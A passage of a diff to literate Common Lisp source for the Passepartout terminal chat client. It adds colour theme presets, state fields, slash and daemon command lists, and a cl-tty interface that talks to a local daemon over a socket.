-                :connected "#859900" :disconnected "#dc322f" :busy "#d33682" :idle "#657b83"
-                :gate-passed "#859900" :gate-blocked "#dc322f" :gate-approval "#b58900"
-                :tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
-                :scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
-                :rule-count "#2aa198" :focus-map "#b58900"
-                :dim "#586e75" :highlight "#2aa198" :accent "#859900")
-    :nord (:user "#81a1c1" :agent "#d8dee9" :system "#ebcb8b"
-           :input "#d8dee9" :timestamp "#4c566a" :help "#88c0d0" :error "#bf616a" :warning "#ebcb8b"
-           :connected "#a3be8c" :disconnected "#bf616a" :busy "#b48ead" :idle "#616e88"
-           :gate-passed "#a3be8c" :gate-blocked "#bf616a" :gate-approval "#ebcb8b"
-           :hitl "#b48ead"
-           :tool-running "#b48ead" :tool-success "#a3be8c" :tool-failure "#bf616a" :tool-output "#d8dee9"
-           :scroll-indicator "#88c0d0" :border "#4c566a" :background "#2e3440"
-           :rule-count "#88c0d0" :focus-map "#ebcb8b"
-           :dim "#616e88" :highlight "#88c0d0" :accent "#5e81ac")
-    :tokyonight (:user "#7aa2f7" :agent "#c0caf5" :system "#e0af68"
-                 :input "#c0caf5" :timestamp "#565f89" :help "#7dcfff" :error "#f7768e" :warning "#e0af68"
-                 :connected "#9ece6a" :disconnected "#f7768e" :busy "#bb9af7" :idle "#565f89"
-                 :gate-passed "#9ece6a" :gate-blocked "#f7768e" :gate-approval "#e0af68"
-                 :hitl "#bb9af7"
-                 :tool-running "#bb9af7" :tool-success "#9ece6a" :tool-failure "#f7768e" :tool-output "#c0caf5"
-                 :scroll-indicator "#7dcfff" :border "#1f2335" :background "#1a1b26"
-                 :rule-count "#7dcfff" :focus-map "#e0af68"
-                 :dim "#565f89" :highlight "#7dcfff" :accent "#7aa2f7")
-    :catppuccin (:user "#89b4fa" :agent "#cdd6f4" :system "#f9e2af"
-                 :input "#cdd6f4" :timestamp "#585b70" :help "#94e2d5" :error "#f38ba8" :warning "#f9e2af"
-                 :connected "#a6e3a1" :disconnected "#f38ba8" :busy "#cba6f7" :idle "#6c7086"
-                 :gate-passed "#a6e3a1" :gate-blocked "#f38ba8" :gate-approval "#f9e2af"
-                 :hitl "#cba6f7"
-                 :tool-running "#cba6f7" :tool-success "#a6e3a1" :tool-failure "#f38ba8" :tool-output "#cdd6f4"
-                 :scroll-indicator "#94e2d5" :border "#45475a" :background "#1e1e2e"
-                 :rule-count "#94e2d5" :focus-map "#f9e2af"
-                 :dim "#6c7086" :highlight "#94e2d5" :accent "#89b4fa")
-    :monokai (:user "#a6e22e" :agent "#f8f8f2" :system "#e6db74"
-              :input "#f8f8f2" :timestamp "#75715e" :help "#66d9ef" :error "#f92672" :warning "#e6db74"
-              :connected "#a6e22e" :disconnected "#f92672" :busy "#ae81ff" :idle "#75715e"
-              :gate-passed "#a6e22e" :gate-blocked "#f92672" :gate-approval "#e6db74"
-              :hitl "#ae81ff"
-              :tool-running "#ae81ff" :tool-success "#a6e22e" :tool-failure "#f92672" :tool-output "#f8f8f2"
-              :scroll-indicator "#66d9ef" :border "#49483e" :background "#272822"
-              :rule-count "#66d9ef" :focus-map "#e6db74"
-              :dim "#75715e" :highlight "#66d9ef" :accent "#a6e22e"))
-  "Named theme presets. /theme <name> loads one into *tui-theme*.")
+  '(:amber
+    (:user-fg "#fab283" :user-bg "#1e1e1e" :user-border "#fab283"
+     :agent-header "#d4956a" :agent-fg "#e8e8e8"
+     :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070"
+     :system "#808080"
+     :input-prompt "#fab283" :input-fg "#e8e8e8"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#e8e8e8"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7fd88f" :dot-disconnected "#e06c75"
+     :error "#e06c75"
+     :tool-running "#fab283" :tool-done "#7fd88f" :tool-error "#e06c75"
+     :separator "#3c3c3c" :accent "#fab283" :dim "#606060")
+    :gold
+    (:user-fg "#ffd700" :user-bg "#1e1e1e" :user-border "#ffd700"
+     :agent-header "#d4a574" :agent-fg "#e8e8e8"
+     :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070"
+     :system "#808080"
+     :input-prompt "#ffd700" :input-fg "#e8e8e8"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#ffd700"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7fd88f" :dot-disconnected "#e06c75"
+     :error "#e06c75"
+     :tool-running "#ffd700" :tool-done "#7fd88f" :tool-error "#e06c75"
+     :separator "#3c3c3c" :accent "#ffd700" :dim "#606060")
+    :terracotta
+    (:user-fg "#e87a5d" :user-bg "#1e1e1e" :user-border "#e87a5d"
+     :agent-header "#d4956a" :agent-fg "#e0c8b0"
+     :agent-border "#c0a080" :thinking-bg "#3a3a3a" :symbolic-border "#707070"
+     :system "#808080"
+     :input-prompt "#e87a5d" :input-fg "#e0c8b0"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#d4956a"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#6cb85c" :dot-disconnected "#d94a3a"
+     :error "#d94a3a"
+     :tool-running "#e87a5d" :tool-done "#6cb85c" :tool-error "#d94a3a"
+     :separator "#3c3c3c" :accent "#e87a5d" :dim "#606060")
+    :sepia
+    (:user-fg "#c4a882" :user-bg "#1e1e1e" :user-border "#c4a882"
+     :agent-header "#b89870" :agent-fg "#d4c4a8"
+     :system "#808080"
+     :input-prompt "#c4a882" :input-fg "#d4c4a8"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#b89870"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7aac5c" :dot-disconnected "#c84a3a"
+     :error "#c84a3a"
+     :tool-running "#c4a882" :tool-done "#7aac5c" :tool-error "#c84a3a"
+     :separator "#3c3c3c" :accent "#c4a882" :dim "#606060")
+    :nord-warm
+    (:user-fg "#d4a574" :user-bg "#1e1e1e" :user-border "#d4a574"
+     :agent-header "#c49870" :agent-fg "#e0d0c0"
+     :system "#808080"
+     :input-prompt "#d08770" :input-fg "#e0d0c0"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#c8a080"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7cb860" :dot-disconnected "#d06050"
+     :error "#d06050"
+     :tool-running "#d08770" :tool-done "#7cb860" :tool-error "#d06050"
+     :separator "#3c3c3c" :accent "#d4a574" :dim "#606060")
+    :monokai-warm
+    (:user-fg "#e6b87d" :user-bg "#1e1e1e" :user-border "#e6b87d"
+     :agent-header "#d4a06a" :agent-fg "#d8c8b0"
+     :system "#808080"
+     :input-prompt "#e6b87d" :input-fg "#d8c8b0"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#cc9966"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7ab85c" :dot-disconnected "#d94a3a"
+     :error "#d94a3a"
+     :tool-running "#e6b87d" :tool-done "#7ab85c" :tool-error "#d94a3a"
+     :separator "#3c3c3c" :accent "#e6b87d" :dim "#606060")
+    :gruvbox-warm
+    (:user-fg "#d8a657" :user-bg "#1e1e1e" :user-border "#d8a657"
+     :agent-header "#c8a070" :agent-fg "#e0c8a8"
+     :system "#808080"
+     :input-prompt "#d8a657" :input-fg "#e0c8a8"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#c8a070"
+     :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1e1e1e"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#7ab85c" :dot-disconnected "#d94a3a"
+     :error "#d94a3a"
+     :tool-running "#d8a657" :tool-done "#7ab85c" :tool-error "#d94a3a"
+     :separator "#3c3c3c" :accent "#d8a657" :dim "#606060")
+    :light-amber
+    (:user-fg "#cc6600" :user-bg "#f5f5f5" :user-border "#cc6600"
+     :agent-header "#8b6914"       :agent-fg "#3a2a1a"
+     :agent-border "#a08060" :thinking-bg "#d4d4d4" :symbolic-border "#b0b0b0"
+     :system "#808080"
+     :input-prompt "#cc6600" :input-fg "#3a2a1a"
+     :hint "#a0a0a0"
+     :status-bg "#ebebeb" :status-fg "#3a2a1a"
+      :bg "#ffffff" :bg-panel "#f5f5f5" :bg-element "#ebebeb"
+     :bg-input "#d4d4d4"
+     :text-muted "#808080"
+     :dot-connected "#2e8b57" :dot-disconnected "#cc3300"
+     :error "#cc3300"
+     :tool-running "#cc6600" :tool-done "#2e8b57" :tool-error "#cc3300"
+     :separator "#d4d4d4" :accent "#cc6600" :dim "#a0a0a0")
+    :catppuccin
+    (:user-fg "#fab387" :user-bg "#1e1e2e" :user-border "#fab387"
+      :agent-header "#cba6f7" :agent-fg "#cdd6f4"
+     :agent-border "#a6adc8" :thinking-bg "#363650" :symbolic-border "#6c7086"
+     :system "#808080"
+     :input-prompt "#fab387" :input-fg "#cdd6f4"
+     :hint "#6c7086"
+     :status-bg "#181825" :status-fg "#a6adc8"
+      :bg "#11111b" :bg-panel "#181825" :bg-element "#1e1e2e"
+     :bg-input "#2e2e2e"
+     :text-muted "#6c7086"
+     :dot-connected "#a6e3a1" :dot-disconnected "#f38ba8"
+     :error "#f38ba8"
+     :tool-running "#fab387" :tool-done "#a6e3a1" :tool-error "#f38ba8"
+     :separator "#313244" :accent "#fab387" :dim "#585b70")
+    :tokyonight
+    (:user-fg "#ff9e64" :user-bg "#1a1b26" :user-border "#ff9e64"
+      :agent-header "#7aa2f7" :agent-fg "#a9b1d6"
+     :agent-border "#7982a8" :thinking-bg "#363b54" :symbolic-border "#565f89"
+     :system "#808080"
+     :input-prompt "#ff9e64" :input-fg "#a9b1d6"
+     :hint "#565f89"
+     :status-bg "#16161e" :status-fg "#9aa5ce"
+      :bg "#0f0f18" :bg-panel "#16161e" :bg-element "#1a1b26"
+     :bg-input "#2e2e2e"
+     :text-muted "#565f89"
+     :dot-connected "#9ece6a" :dot-disconnected "#db4b4b"
+     :error "#db4b4b"
+     :tool-running "#ff9e64" :tool-done "#9ece6a" :tool-error "#db4b4b"
+     :separator "#292e42" :accent "#ff9e64" :dim "#444b6a")
+    :dracula
+    (:user-fg "#ff9580" :user-bg "#1e1f2b" :user-border "#ff9580"
+      :agent-header "#bd93f9" :agent-fg "#f8f8f2"
+     :agent-border "#c0c0e0" :thinking-bg "#3a3b50" :symbolic-border "#6272a4"
+     :system "#808080"
+     :input-prompt "#ff9580" :input-fg "#f8f8f2"
+     :hint "#6272a4"
+     :status-bg "#191a24" :status-fg "#e0e0e0"
+      :bg "#0f101a" :bg-panel "#191a24" :bg-element "#1e1f2b"
+     :bg-input "#2e2e2e"
+     :text-muted "#6272a4"
+     :dot-connected "#50fa7b" :dot-disconnected "#ff5555"
+     :error "#ff5555"
+     :tool-running "#ff9580" :tool-done "#50fa7b" :tool-error "#ff5555"
+     :separator "#34354a" :accent "#ff9580" :dim "#5a5b7a")
+    :gemini
+    (:user-fg "#87afff" :user-bg "#1a1a1a" :user-border "#87afff"
+      :agent-header "#d7afff" :agent-fg "#ffffff"
+     :agent-border "#d0d0d0" :thinking-bg "#3a3a3a" :symbolic-border "#707070"
+     :system "#808080"
+     :input-prompt "#87afff" :input-fg "#ffffff"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#afafaf"
+      :bg "#000000" :bg-panel "#141414" :bg-element "#1a1a1a"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#d7ffd7" :dot-disconnected "#ff87af"
+     :error "#ff87af"
+     :tool-running "#87afff" :tool-done "#d7ffd7" :tool-error "#ff87af"
+     :separator "#3a3a3a" :accent "#87afff" :dim "#5f5f5f")
+    :mono
+    (:user-fg "#e0e0e0" :user-bg "#1a1a1a" :user-border "#808080"
+      :agent-header "#c0c0c0" :agent-fg "#d0d0d0"
+     :agent-border "#a0a0a0" :thinking-bg "#3a3a3a" :symbolic-border "#808080"
+     :system "#808080"
+     :input-prompt "#ffffff" :input-fg "#d0d0d0"
+     :hint "#606060"
+     :status-bg "#141414" :status-fg "#b0b0b0"
+      :bg "#0a0a0a" :bg-panel "#141414" :bg-element "#1a1a1a"
+     :bg-input "#2e2e2e"
+     :text-muted "#808080"
+     :dot-connected "#a0a0a0" :dot-disconnected "#808080"
+     :error "#808080"
+     :tool-running "#e0e0e0" :tool-done "#a0a0a0" :tool-error "#808080"
+     :separator "#303030" :accent "#ffffff" :dim "#505050"))
+  "13 theme presets (amber, gold, terracotta, sepia, nord-warm,
+monokai-warm, gruvbox-warm, light-amber, catppuccin, tokyonight, dracula,
+gemini, mono). Keys: :bg/:bg-panel/:bg-element/:bg-input/:text-muted.")
 
-(defvar *tui-theme-current-name* :dark
+(defvar *tui-theme-current-name* :amber
   "Name of the currently active theme preset.")
 
 (defun theme-save ()
@@ -211,11 +267,19 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
     t))
 
 (defun theme-load ()
-  "Load persisted theme from disk. Called at startup."
+  "Load persisted theme from disk. Called at startup.
+Adds any missing keys with defaults to handle saved themes from older versions."
   (let ((path (merge-pathnames ".cache/passepartout/theme.lisp"
                                (user-homedir-pathname))))
     (when (uiop:file-exists-p path)
-      (ignore-errors (load path)))))
+      (ignore-errors (load path)))
+    ;; Fill in any missing keys from the default preset
+    (let ((defaults (getf *tui-theme-presets* *tui-theme-current-name*)))
+      (when defaults
+        (dolist (key '(:bg-input :bg-element :text-muted :agent-border :thinking-bg :symbolic-border))
+          (unless (getf *tui-theme* key)
+            (let ((val (getf defaults key)))
+              (when val (setf (getf *tui-theme* key) val)))))))))
 
 (defun theme-switch (name)
   "Switch to a named theme preset. Returns the preset name or nil if not found."
@@ -229,40 +293,16 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
       key)))
 
 (defun theme-color (role)
-  "Returns the Croatoan color for a semantic role.
-   Keyword or hex string values are returned as-is; hex strings are
-   converted to integers that Croatoan can process."
+  "Returns a hex color string for a semantic role, suitable for cl-tty."
   (let ((val (or (getf *tui-theme* role) :white)))
-    (if (and (stringp val) (> (length val) 0) (eql (char val 0) #\#))
-        (handler-case (parse-integer (subseq val 1) :radix 16)
-          (error () val))
-        val)))
-
-;; v0.8.0: TrueColor helpers
-(defun theme-hex-to-rgb (hex-string)
-  "Parse #RRGGBB to (values r g b). Returns (255 255 255) for invalid input."
-  (if (and (stringp hex-string) (= 7 (length hex-string)) (eql (char hex-string 0) #\#))
-      (handler-case
-          (let ((r (parse-integer (subseq hex-string 1 3) :radix 16))
-                (g (parse-integer (subseq hex-string 3 5) :radix 16))
-                (b (parse-integer (subseq hex-string 5 7) :radix 16)))
-            (values r g b))
-        (error () (values 255 255 255)))
-      (values 255 255 255)))
-
-(defun theme-init-truecolor ()
-  "Register hex colors from *tui-theme* with Croatoan's init-color."
-  (handler-case
-      (loop for (key val) on *tui-theme* by #'cddr
-            when (and (stringp val) (= 7 (length val)) (eql (char val 0) #\#))
-            do (multiple-value-bind (r g b) (theme-hex-to-rgb val)
-                 (init-color key (/ r 255.0) (/ g 255.0) (/ b 255.0))))
-    (error () nil)))
-
-(defun sidebar-toggle ()
-  "Toggle sidebar visibility. Sets dirty flags for full redraw."
-  (setf (st :sidebar-visible) (not (st :sidebar-visible)))
-  (setf (st :dirty) (list t t t)))
+    (cond
+      ((stringp val) val)
+      (t (case val
+           (:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF")
+           (:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF")
+           (:white "#FFFFFF") (:black "#000000")
+           (:bright-black "#666666") (:bright-yellow "#FFD700")
+           (t "#FFFFFF"))))))
 
 (defun st (key) (getf *state* key))
 (defun (setf st) (val key) (setf (getf *state* key) val))
@@ -271,54 +311,45 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
   (setf *state*
         (list :running t :mode :chat :connected nil :stream nil
               :input-buffer nil :input-history nil :input-hpos 0
+              :text-input (cl-tty.input:make-text-input)
               :messages (make-array 16 :adjustable t :fill-pointer 0)
-              :scroll-offset 0 :busy nil :cursor-pos 0
+               :scroll-offset 0 :busy nil :cursor-pos 0
+               :cursor-line 0 :cursor-col 0
               :pending-ctrl-x nil
               :scroll-at-bottom t :scroll-notify nil
               :streaming-text nil :url-buffer nil            ; v0.7.1
               :collapsed-gates nil                          ; v0.7.2
               :search-mode nil :search-query ""           ; v0.7.2
               :search-matches nil :search-match-idx 0
-              :sidebar-visible nil                        ; v0.8.0
-              :minibuffer-mode nil :minibuffer-selected-idx 0 ; v0.8.0
-              :minibuffer-filter ""                         ; v0.8.0
-              :wizard-mode :provider-list                  ; v0.9.0
-              :wizard-selected-idx 0 :wizard-input ""        ; v0.9.0
-              :wizard-error nil                              ; v0.9.0
-              :wizard-providers nil :wizard-current-provider nil ; v0.9.0
-              :wizard-cascade '(:fg-prob nil :bg-prob nil :fg-det nil :bg-det nil) ; v0.9.0
-              :wizard-cascade-slot :fg-prob                  ; v0.9.0
-              :dirty (list nil nil nil))))
-#+end_src
+               :sidebar-mode :auto                       ; v0.8.0: :auto/:visible/:hidden
+               :sidebar-width 42                           ; v0.8.0
+               :expand-tool-calls nil                      ; v0.8.0
+               :mcp-count 0                                ; v0.8.0
+               :kill-ring nil                               ; v0.9.0
+               :dialog-stack nil                           ; v0.8.0
+               :minibuffer-active nil                      ; v0.8.0
+                :command-palette-active nil                 ; v0.8.0
+                :command-palette-dialog nil                 ; v0.8.0
+                :session-cost 0.0                          ; v0.9.0
+                :daemon-version nil                        ; filled by handshake
+                :dirty (list nil nil nil))))
+#+END_SRC
 
 ** Helpers
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
 (defun now ()
   (multiple-value-bind (s m h) (get-decoded-time)
     (declare (ignore s))
     (format nil "~2,'0d:~2,'0d" h m)))
 
 (defun input-string ()
-  (coerce (reverse (st :input-buffer)) 'string))
+  (cl-tty.input:text-input-value (st :text-input)))
 
 (defun input-insert-char (ch)
-  "Insert character at cursor position into the input buffer."
-  (let* ((buf (st :input-buffer))
-         (pos (or (st :cursor-pos) 0))
-         (s (coerce (reverse buf) 'string))
-         (new (concatenate 'string (subseq s 0 pos) (string ch) (subseq s pos))))
-    (setf (st :input-buffer) (reverse (coerce new 'list)))
-    (setf (st :cursor-pos) (1+ pos))))
+  (cl-tty.input:text-input-insert (st :text-input) ch))
 
 (defun input-delete-char ()
-  "Delete character before cursor position (standard backspace)."
-  (let* ((buf (st :input-buffer))
-         (pos (or (st :cursor-pos) 0)))
-    (when (and buf (> pos 0))
-      (let* ((s (coerce (reverse buf) 'string))
-             (new (concatenate 'string (subseq s 0 (1- pos)) (subseq s pos))))
-        (setf (st :input-buffer) (reverse (coerce new 'list)))
-        (setf (st :cursor-pos) (1- pos))))))
+  (cl-tty.input:text-input-backspace (st :text-input)))
 
 (defun add-msg (role content &key gate-trace panel)
   (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
@@ -326,10 +357,60 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
   (unless (st :scroll-at-bottom)
     (setf (st :scroll-notify) t))
   (setf (st :dirty) (list t t nil)))
-#+end_src
+#+END_SRC
+
+** Slash Commands
+#+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
+(defvar *slash-commands*
+  '((:title "/eval <expr> — Evaluate Lisp"        :value "/eval"   :category :session)
+    (:title "/undo — Undo last operation"           :value "/undo"   :category :session)
+    (:title "/redo — Redo last operation"           :value "/redo"   :category :session)
+    (:title "/reconnect — Re-establish daemon"     :value "/reconnect" :category :session)
+    (:title "/quit — Save history and exit"        :value "/quit"   :category :session)
+    (:title "/q — Quick quit"                       :value "/q"      :category :session)
+    (:title "/why — Show last gate trace"           :value "/why"    :category :memory)
+    (:title "/identity — Edit IDENTITY.org"         :value "/identity" :category :memory)
+    (:title "/tags — List tag severities"           :value "/tags"   :category :memory)
+    (:title "/audit <id> — Inspect memory"          :value "/audit"  :category :memory)
+    (:title "/audit verify — Memory integrity"      :value "/audit verify" :category :memory)
+    (:title "/rewind <n> — Rewind to snapshot"     :value "/rewind" :category :memory)
+    (:title "/sessions — Show memory snapshots"    :value "/sessions" :category :memory)
+    (:title "/resume <n> — Resume from snapshot"   :value "/resume" :category :memory)
+    (:title "/focus <project> — Set context"        :value "/focus"  :category :system)
+    (:title "/scope <scope> — Change scope"         :value "/scope"  :category :system)
+    (:title "/unfocus — Pop context"               :value "/unfocus" :category :system)
+    (:title "/theme [name] — Show/switch theme"    :value "/theme"  :category :system)
+    (:title "/context — Show context summary"      :value "/context" :category :system)
+    (:title "/context why <id> — Debug memory"     :value "/context why" :category :system)
+    (:title "/context dropped — Estimate pruned"   :value "/context dropped" :category :system)
+    (:title "/search <query> — Search messages"    :value "/search" :category :navigation)
+    (:title "/help — Show commands"                 :value "/help"   :category :help)
+    (:title "/help <topic> — Search manual"         :value "/help <topic>" :category :help))
+  "Slash commands for minibuffer select-dialog.")
+#+END_SRC
+
+** Daemon Commands
+#+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
+(defvar *daemon-commands*
+  '((:title "Status — Daemon health info"          :value (:action :status)         :category :session)
+    (:title "Stats — Daemon statistics"              :value (:action :stats)          :category :session)
+    (:title "Ping — Daemon reachability"             :value (:action :ping)           :category :session)
+    (:title "Memory Snapshot — Capture state"        :value (:action :memory-snapshot) :category :memory)
+    (:title "Memory Rebuild — Rebuild indices"       :value (:action :memory-rebuild)  :category :memory)
+    (:title "Memory Compact — Optimize storage"      :value (:action :memory-compact)  :category :memory)
+    (:title "Reload Config — Reload configuration"   :value (:action :reload-config)   :category :system)
+    (:title "Reload Identity — Reload identity file" :value (:action :reload-identity) :category :system)
+    (:title "List Skills — Available skills"         :value (:action :list-skills)     :category :system)
+    (:title "Help — Show daemon help"                :value (:action :help)           :category :help))
+  "Daemon commands for the command palette (Ctrl+P).")
+
+(defun all-commands ()
+  "Merge slash commands and daemon commands into one unified list."
+  (append *slash-commands* *daemon-commands*))
+#+END_SRC
 
 ** Event Queue
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
 (defun queue-event (ev)
   (bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
 
@@ -337,4 +418,4 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
   (bt:with-lock-held (*event-lock*)
     (let ((evs (nreverse *event-queue*)))
       (setf *event-queue* nil) evs)))
-#+end_src
+#+END_SRC

org/channel-tui.org

@@ -0,0 +1,173 @@
+#+TITLE: Passepartout TUI
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui.lisp
+
+* TUI
+
+Direct-rendering TUI using cl-tty backend + framebuffer. Layout by
+~compute-layout~. Three zones: status (3 lines), chat, input.
+
+#+begin_src lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui.lisp
+(in-package :cl-user)
+
+(ql:quickload :cl-tty :silent t)
+(ql:quickload :passepartout :silent t)
+(ql:quickload :usocket :silent t)
+(ql:quickload :bordeaux-threads :silent t)
+
+(defpackage :passepartout.tui
+  (:use :cl :cl-tty.backend :cl-tty.input :cl-tty.rendering :cl-tty.layout)
+  (:export #:tui-main))
+(in-package :passepartout.tui)
+
+(defvar *messages* (make-array 0 :fill-pointer 0 :adjustable t))
+(defvar *daemon-stream* nil)
+(defvar *event-queue* nil)
+(defvar *event-lock* (bt:make-lock "tui-event"))
+(defvar *streaming-text* nil)
+(defvar *input-buf* nil)
+(defvar *cursor-pos* 0)
+(defvar *connected* nil)
+(defvar *running* t)
+
+;; Input
+(defun input-insert-char (ch)
+  (let ((pos *cursor-pos*))
+    (setf *input-buf* (concatenate 'list (subseq *input-buf* 0 pos) (list ch)
+                                   (subseq *input-buf* pos)))
+    (incf *cursor-pos*)))
+
+(defun input-delete-char ()
+  (when (and *input-buf* (> *cursor-pos* 0))
+    (setf *input-buf* (nconc (subseq *input-buf* 0 (1- *cursor-pos*))
+                              (subseq *input-buf* *cursor-pos*)))
+    (decf *cursor-pos*)))
+
+(defun input-string () (coerce (reverse *input-buf*) 'string))
+
+(defun input-submit ()
+  (let ((text (string-trim '(#\Space) (input-string))))
+    (when (> (length text) 0)
+      (vector-push-extend (list :role :user :content text) *messages*)
+      (send-daemon `(:type :event :payload (:sensor :user-input :text ,text)))
+      (setf *input-buf* nil *cursor-pos* 0))))
+
+;; Daemon
+(defun send-daemon (msg)
+  (let ((s *daemon-stream*))
+    (when (and s (open-stream-p s))
+      (handler-case
+          (let ((str (prin1-to-string msg)))
+            (format s "~6,'0X~A" (length str) str)
+            (finish-output s))
+        (error () nil)))))
+
+(defun connect-daemon (&optional (host "127.0.0.1") (port 9105))
+  (handler-case
+      (let ((s (usocket:socket-connect host port :timeout 5)))
+        (setf *daemon-stream* (usocket:socket-stream s) *connected* t)
+        (bt:make-thread (lambda () (reader-loop)) :name "tui-reader")
+        (vector-push-extend '(:role :system :content "* Connected *") *messages*))
+    (error (c)
+      (vector-push-extend (list :role :system :content
+                                (format nil "* Connection failed: ~A *" c))
+                          *messages*))))
+
+(defun reader-loop ()
+  (loop while *running*
+        for msg = (handler-case
+                      (let* ((hdr (make-string 6)) (n 0))
+                        (loop while (< n 6)
+                              do (let ((ch (read-char *daemon-stream* nil)))
+                                   (unless ch (return-from reader-loop nil))
+                                   (setf (char hdr n) ch) (incf n)))
+                        (let* ((len (parse-integer hdr :radix 16 :junk-allowed t))
+                               (buf (make-string (or len 0))))
+                          (when (and len (> len 0))
+                            (loop for i from 0 below len
+                                  do (let ((ch (read-char *daemon-stream* nil)))
+                                       (unless ch (return-from reader-loop nil))
+                                       (setf (char buf i) ch)))
+                            (let ((*read-eval* nil)) (read-from-string buf)))))
+                    (error () nil))
+        if msg do (bt:with-lock-held (*event-lock*) (push msg *event-queue*))
+        else do (sleep 0.5)))
+
+;; Render
+(defun render-frame (fb w h)
+  (backend-clear fb)
+  (let ((fg (if *connected* "#00FF00" "#FF4444")))
+    (draw-text fb 1 1
+      (format nil " Passepartout  ~a  [CHAT]  msgs:~d"
+              (if *connected* "● Connected" "○ Disconnected")
+              (length *messages*))
+      fg nil)
+    (draw-text fb 1 2 " Ctrl+P: palette  Ctrl+Q: quit  /help: help" "#888888" nil))
+  (let ((y 4))
+    (loop for i from (1- (length *messages*)) downto 0
+          for msg = (aref *messages* i)
+          do (let* ((role (getf msg :role))
+                    (content (getf msg :content))
+                    (fg (case role (:user "#00FF00") (:agent "#FFFFFF")
+                                 (:system "#FFFF00") (t "#888888")))
+                    (pfx (case role (:user "> ") (:agent "  ") (:system "* ") (t "  ")))))
+               (draw-text fb 1 y (concatenate 'string pfx content) fg nil)
+               (incf y))
+          (when (> y (- h 3)) (loop-finish))))
+  (draw-text fb 1 (- h 1) (concatenate 'string "> " (input-string)) "#FFFFFF" "#0F3460"))
+
+;; Event loop
+(defun tui-main ()
+  (setf *running* t *messages* (make-array 0 :fill-pointer 0 :adjustable t))
+  (connect-daemon)
+  (with-raw-terminal
+    (with-terminal (be w h)
+      (let ((prev-fb (make-framebuffer w h))
+            (curr-fb (make-framebuffer w h)))
+        (loop while *running* do
+          (bt:with-lock-held (*event-lock*)
+            (dolist (msg (nreverse *event-queue*))
+              (let* ((payload (getf msg :payload)) (text (getf payload :text))
+                     (type (getf msg :type)))
+                (cond
+                  ((and (eq type :stream-chunk) text (not (string= text "")))
+                   (if *streaming-text*
+                       (setf *streaming-text* (concatenate 'string *streaming-text* text))
+                       (setf *streaming-text* text
+                             *messages* (let ((v (make-array (1+ (length *messages*))
+                                               :fill-pointer (1+ (length *messages*))
+                                               :adjustable t)))
+                                         (loop for i below (length *messages*)
+                                               do (setf (aref v i) (aref *messages* i)))
+                                         (setf (aref v (length *messages*))
+                                               (list :role :thinking :content text))
+                                         v))))
+                  ((and (eq type :stream-chunk) (string= text ""))
+                   (setf *streaming-text* nil))
+                  (text
+                   (vector-push-extend (list :role :agent :content text) *messages*)))))
+            (setf *event-queue* nil))
+          (multiple-value-bind (type data) (read-event be :timeout 0)
+            (declare (ignore type))
+            (when (key-event-p data)
+              (let ((k (key-event-key data)))
+                (cond
+                  ((eq k :escape) (when *streaming-text* (setf *streaming-text* nil)))
+                  ((eq k :enter) (input-submit))
+                  ((eq k :backspace) (input-delete-char))
+                  ((eq k :left) (when (> *cursor-pos* 0) (decf *cursor-pos*)))
+                  ((eq k :right) (when (< *cursor-pos* (length *input-buf*))
+                                   (incf *cursor-pos*)))
+                  ((eq k :ctrl-u) (setf *input-buf* nil *cursor-pos* 0))
+                  ((eq k :ctrl-a) (setf *cursor-pos* 0))
+                  ((eq k :ctrl-e) (setf *cursor-pos* (length *input-buf*)))
+                  ((eq k :ctrl-d) (when (null *input-buf*) (setf *running* nil)))
+                  ((eq k :ctrl-q) (setf *running* nil))
+                  (t (let ((chr (when (keywordp k)
+                                   (let ((s (string k)))
+                                     (when (= (length s) 1) (char-downcase (char s 0)))))))
